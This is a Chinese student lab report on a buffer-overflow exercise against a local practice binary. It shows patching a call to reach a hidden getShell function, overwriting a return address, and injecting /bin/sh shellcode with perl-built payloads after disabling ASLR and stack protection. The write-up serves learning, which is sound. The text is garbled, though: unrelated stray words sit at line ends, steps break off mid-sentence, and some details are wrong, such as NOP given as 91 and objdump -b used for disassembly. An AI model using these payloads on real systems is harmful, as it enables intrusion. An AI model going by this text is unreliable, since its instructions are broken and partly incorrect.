一、什麼是漏洞?漏洞有什麼危害?linux
漏洞就是在計算機硬件、軟件、協議、安全策略上存在的缺點。利用這些缺點,攻擊者能夠對計算機系統進行攻擊,從而達到必定的目的。漏洞威脅了計算機的系統安全,給攻擊者有可乘之機,可能引發經濟損失、機密泄露、隱私暴露、數據篡改等問題。shell
二、掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼(如下爲16進制)編程
NOP:91,空指令
JNE: 75,條件跳轉,判斷是否等於,若不等於則跳轉
JE :74,條件跳轉,判斷是否等於,若等於則跳轉
JMP:E9,無條件轉移
CMP:38~3D,比較兩個數的大小sass
反彙編指令參數安全
objdump -C:將底層的符號名解碼成用戶級名字,除了去掉全部開頭
objdump -d 反彙編那些應該還有指令機器碼的section
objdump -f 顯示objfile中每一個文件的總體頭部摘要信息
objdump -h 顯示目標文件各個section的頭部摘要信息
objdump -i 顯示對於 -b 或者 -m 選項可用的架構和目標格式列表
objdump -j name 僅僅顯示指定section的信息
...網絡
如何linux下使用16進制編輯器(參考博客)架構
使用VIM指令進入文件後,按下
鍵,輸入 dom%!xxd
再按回車,能夠把文件中的內容轉換爲16進制顯示;轉換後,能夠輸入%!xxd -r
再按回車轉換回來。
本次實驗對象爲名爲pwn1的pwn1的linux可執行文件。程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。編輯器
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。函數
實驗分爲三部分:
objdump -b part1 | more
,獲得part1的彙編語言表示,找到關於咱們所要的函數跳轉的部分:call 8048491<foo>
,這裏8048491
就是foo函數的首地址。這條指令的機器碼部分是e8 d7 ff ff ff
,其中e8是指令call
的機器碼,後面的d7 ff ff ff
是目的地址減去eip
寄存器中地址的值,若是是負數要換算成補碼。這裏的e8 d7 ff ff ff
是8048491-80484ba
的結果換算成補碼。爲何是減去80484ba
而不是 80484b5
呢?由於eip
寄存器中存放的是下一條指令所在的地址。getshell
的首地址是804847d
。也就是說咱們須要把804847d-80484ba
的結果換算成補碼,替換原來的e8 d7 ff ff ff
。計算結果是ff ff ff c3
:
後,鍵入%!xxd
,按回車,將文件內容轉化爲16進製表示/d7
搜索d7出現的地方。觀察一下d7先後,肯定是咱們要修改的地方。確認後按i
進入編輯模式,把d7改成c3。:
後,鍵入%!xxd -r
將文件內容轉化爲原來的表示方式wq
保存並推出文件./part1
執行part1,輸入ls
,發現執行結果是該目錄下的文件名。說明修改爲功。首先要知道,在「part2」中的main
函數調用的是foo
函數,foo
函數在執行完後會返回,也就是指向main函數中調用foo
函數這條指令的下一條指令。咱們要作的是利用foo
中的buf漏洞
,覆蓋返回地址,使得在輸入參數後直接執行shellcode
,而非foo
函數。附上一張圖可以更加清晰地瞭解這一律念。
objdump -b part2 | more
,獲得part2的彙編語言表示,找到關於咱們所要的部分:%ebp
佔用的4字節,結果轉換成十進制是32字節。%eip
寄存器。
gdb part2
進入調試頁面r
開始運行,輸入參數,而後輸如info r
進行查看%eip
的值爲0x35353535
,0x35
是5的ASCII碼。這就說明了32字節之外的內容會被寫進%eip
寄存器getshell
函數的首地址的ASCII碼信息。從以前的截圖能夠知道其首地址爲804847d
,因爲是小端序列,因此咱們要輸入的是32字節的內容+\x7d\x84\x04\x08
。\x表示的是轉換爲ASCII碼
\x7d\x84\x04\x08
這樣的16進制值,因此要使用指令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input
先生成包括這個字符串的一個文件。\x0a表示回車。%!xxd
轉換爲十六進制進行查看:cat
和管道,在執行「part2」的同時把文件「input」中的內容做爲參數輸入:(cat input ;cat) | ./part2
,再使用;s
命令和pwd
命令進行調試,能夠看到結果。execstack
修改堆棧的設置
execstack -s part3//設置堆棧可執行
execstack -q part3//查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space //查看每次執行程序時堆棧位置是否移動
echo "0" > /proc/sys/kernel/randomize_va_space//關閉地址隨機化
more /proc/sys/kernel/randomize_va_space //關閉後查看結果
先構造一個shellcode語句,而且把這個語句寫入到文件「input_3」中(參考老師的博客中給出的shellcode):
perl -e 'print "A" x 32;printf "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00" '>input_3
\x4\x3\x2\x1
用來暫時表示shellcode
代碼的首地址,接下來咱們要作的是尋找其真正的首地址
一、在目前終端的命令行輸入(cat input_3;cat) | ./part3
二、輸入ps -ef | grep part3
來得到進程號。進程號爲5013
。(從這裏就能夠知道爲何在構造shellcode的時候不要有回車)
三、打開另外一終端,進入到實驗文件所在目錄,使用gbd進行調試。在gdb中輸入attach 5013
,再輸入disassemble foo
來查看注入內容的地址。
ret
這一句設置斷點:break *0x080484ae
,而後切換至另外一終端,按下回車info -r rsp
來查看棧頂指針,爲0xffd708ac
。再輸入x/16x 0xffd708ac
查看指針指向的內容0xffd708ac
加上4就能獲得shellcode的首地址爲0xffd708b0
找到首地址後,切換終端,先終止當前進程。而後打開input_3將其修改成16進製表示後進行修改,把\x04\x03\x02\x01
修改成\xb0\x08\xff\x7d
再輸入(cat input_3;cat) | ./part3
,再輸入ls
進行驗證。成功
本次實驗內容雖然比較簡單,可是我花了6個多小時來完成。對於實驗內容中的每一步我都盡所能地去了解其中的原理,並把實驗過程當中所學到的都作了筆記,來鞏固本身的記憶。整體來講收穫仍是很大的,此次實驗讓我學會了緩衝區溢出攻擊的基本原理和一些簡單的方式。這是我第一次接觸到這樣的實驗,感受頗有趣,期待接下來的其餘實驗~而且期待本身通過不斷的學習可以成爲一名黑客,可以主動地對某些主機發動簡單的攻擊(固然不會是惡意的,會找同窗互相嘗試)。爲了這一目標從此也會更加努力地學習。